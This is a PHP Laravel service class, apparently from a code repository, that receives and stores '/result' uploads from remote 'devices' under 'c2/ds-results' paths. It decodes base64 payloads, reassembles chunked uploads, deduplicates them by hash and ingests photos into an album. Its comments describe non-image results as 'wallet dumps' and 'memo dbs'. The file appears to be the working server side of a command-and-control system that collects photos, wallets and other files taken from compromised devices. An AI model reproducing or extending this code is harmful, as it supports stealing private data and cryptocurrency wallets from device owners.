199 lines
6.6 KiB
PHP
199 lines
6.6 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Models\Device;
|
|
use App\Models\Photo;
|
|
use Illuminate\Support\Facades\Storage;
|
|
|
|
class DsResultStore
|
|
{
|
|
/** @var list<string> */
|
|
private const VIDEO_EXT = ['mp4', 'mov', 'm4v', 'avi', 'mkv', 'webm', '3gp', 'qt'];
|
|
|
|
/** @var list<string> */
|
|
private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff'];
|
|
|
|
public function __construct(
|
|
private readonly IngestService $ingest,
|
|
) {}
|
|
|
|
/**
|
|
* Persist one /result body. Videos are dropped. Chunks assemble under
|
|
* c2/ds-chunks then land in c2/ds-results. Images also go through album ingest.
|
|
*
|
|
* @param array<string, mixed> $payload
|
|
* @return array<string, mixed>
|
|
*/
|
|
public function store(Device $device, array $payload): array
|
|
{
|
|
$filename = $this->safeName((string) ($payload['filename'] ?? ''));
|
|
if ($filename === '') {
|
|
return ['stored' => false, 'reason' => 'no_filename'];
|
|
}
|
|
if ($this->isVideo($filename)) {
|
|
return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename];
|
|
}
|
|
|
|
$raw = $payload['data'] ?? null;
|
|
if (! is_string($raw) || $raw === '') {
|
|
return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename];
|
|
}
|
|
$bytes = base64_decode($raw, true);
|
|
if ($bytes === false) {
|
|
return ['stored' => false, 'reason' => 'bad_base64', 'filename' => $filename];
|
|
}
|
|
|
|
$commandId = $this->safeName((string) ($payload['command_id'] ?? 'unknown')) ?: 'unknown';
|
|
$total = isset($payload['total_chunks']) ? (int) $payload['total_chunks'] : 0;
|
|
$index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null;
|
|
|
|
if ($total > 1 && $index !== null) {
|
|
$assembled = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes);
|
|
if ($assembled === null) {
|
|
return [
|
|
'stored' => false,
|
|
'reason' => 'chunk_pending',
|
|
'filename' => $filename,
|
|
'chunk_index' => $index,
|
|
'total_chunks' => $total,
|
|
];
|
|
}
|
|
$bytes = $assembled;
|
|
}
|
|
|
|
$hash = hash('sha256', $bytes);
|
|
if ($this->alreadyIngested($device, $filename, $hash)) {
|
|
return [
|
|
'stored' => false,
|
|
'reason' => 'duplicate',
|
|
'filename' => $filename,
|
|
'size' => strlen($bytes),
|
|
];
|
|
}
|
|
|
|
$rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename;
|
|
Storage::disk('local')->put($rel, $bytes);
|
|
$this->markSeen($device, $hash, $filename);
|
|
|
|
$photo = false;
|
|
if ($this->isImage($filename) && $device->albumStorageEnabled()) {
|
|
$tmp = tempnam(sys_get_temp_dir(), 'ds_photo_');
|
|
if ($tmp !== false) {
|
|
file_put_contents($tmp, $bytes);
|
|
$this->ingest->ingestPhotos($device, [$tmp]);
|
|
@unlink($tmp);
|
|
$photo = true;
|
|
}
|
|
}
|
|
|
|
return [
|
|
'stored' => true,
|
|
'path' => $rel,
|
|
'photo' => $photo,
|
|
'size' => strlen($bytes),
|
|
'filename' => $filename,
|
|
];
|
|
}
|
|
|
|
private function alreadyIngested(Device $device, string $filename, string $hash): bool
|
|
{
|
|
$isImage = $this->isImage($filename);
|
|
$seen = Storage::disk('local')->exists($this->seenPath($device, $hash));
|
|
|
|
if (! $isImage) {
|
|
// Non-images (wallet dumps, memo dbs, …): .seen is the only dedup.
|
|
return $seen;
|
|
}
|
|
|
|
// For images, the Photo table is the source of truth for album dedup.
|
|
// markSeen() runs before ingestPhotos(), so a bare .seen marker can
|
|
// survive a failed/skipped album ingest (album storage was off, the
|
|
// device record was recreated, an exception was swallowed, …) and
|
|
// would otherwise block the photo from ever entering the album.
|
|
$hasPhoto = Photo::query()
|
|
->where('device_id', $device->id)
|
|
->where('sha256', $hash)
|
|
->exists();
|
|
if ($hasPhoto) {
|
|
if (! $seen) {
|
|
$this->markSeen($device, $hash, $filename);
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
// No Photo row yet. When album storage is enabled, retry the ingest
|
|
// (return false so store() re-stores + calls ingestPhotos). When
|
|
// disabled, fall back to .seen for raw-file dedup so we don't keep
|
|
// re-storing identical bytes under every new command_id.
|
|
return $seen && ! $device->albumStorageEnabled();
|
|
}
|
|
|
|
private function markSeen(Device $device, string $hash, string $filename): void
|
|
{
|
|
Storage::disk('local')->put($this->seenPath($device, $hash), $filename);
|
|
}
|
|
|
|
private function seenPath(Device $device, string $hash): string
|
|
{
|
|
return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash;
|
|
}
|
|
|
|
private function acceptChunk(
|
|
Device $device,
|
|
string $commandId,
|
|
string $filename,
|
|
int $index,
|
|
int $total,
|
|
string $bytes,
|
|
): ?string {
|
|
$dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename;
|
|
Storage::disk('local')->put($dir.'/'.$index, $bytes);
|
|
Storage::disk('local')->put($dir.'/total', (string) $total);
|
|
|
|
for ($i = 0; $i < $total; $i++) {
|
|
if (! Storage::disk('local')->exists($dir.'/'.$i)) {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
$out = '';
|
|
for ($i = 0; $i < $total; $i++) {
|
|
$out .= (string) Storage::disk('local')->get($dir.'/'.$i);
|
|
}
|
|
Storage::disk('local')->deleteDirectory($dir);
|
|
|
|
return $out;
|
|
}
|
|
|
|
private function isVideo(string $filename): bool
|
|
{
|
|
return in_array($this->extension($filename), self::VIDEO_EXT, true);
|
|
}
|
|
|
|
private function isImage(string $filename): bool
|
|
{
|
|
return in_array($this->extension($filename), self::IMAGE_EXT, true);
|
|
}
|
|
|
|
private function extension(string $filename): string
|
|
{
|
|
$dot = strrpos($filename, '.');
|
|
if ($dot === false) {
|
|
return '';
|
|
}
|
|
|
|
return strtolower(substr($filename, $dot + 1));
|
|
}
|
|
|
|
private function safeName(string $name): string
|
|
{
|
|
$name = str_replace(["\0", '\\'], '', $name);
|
|
$name = basename(str_replace(['/', '\\'], '', $name));
|
|
$name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name) ?? '';
|
|
|
|
return $name === '.' || $name === '..' ? '' : $name;
|
|
}
|
|
}
|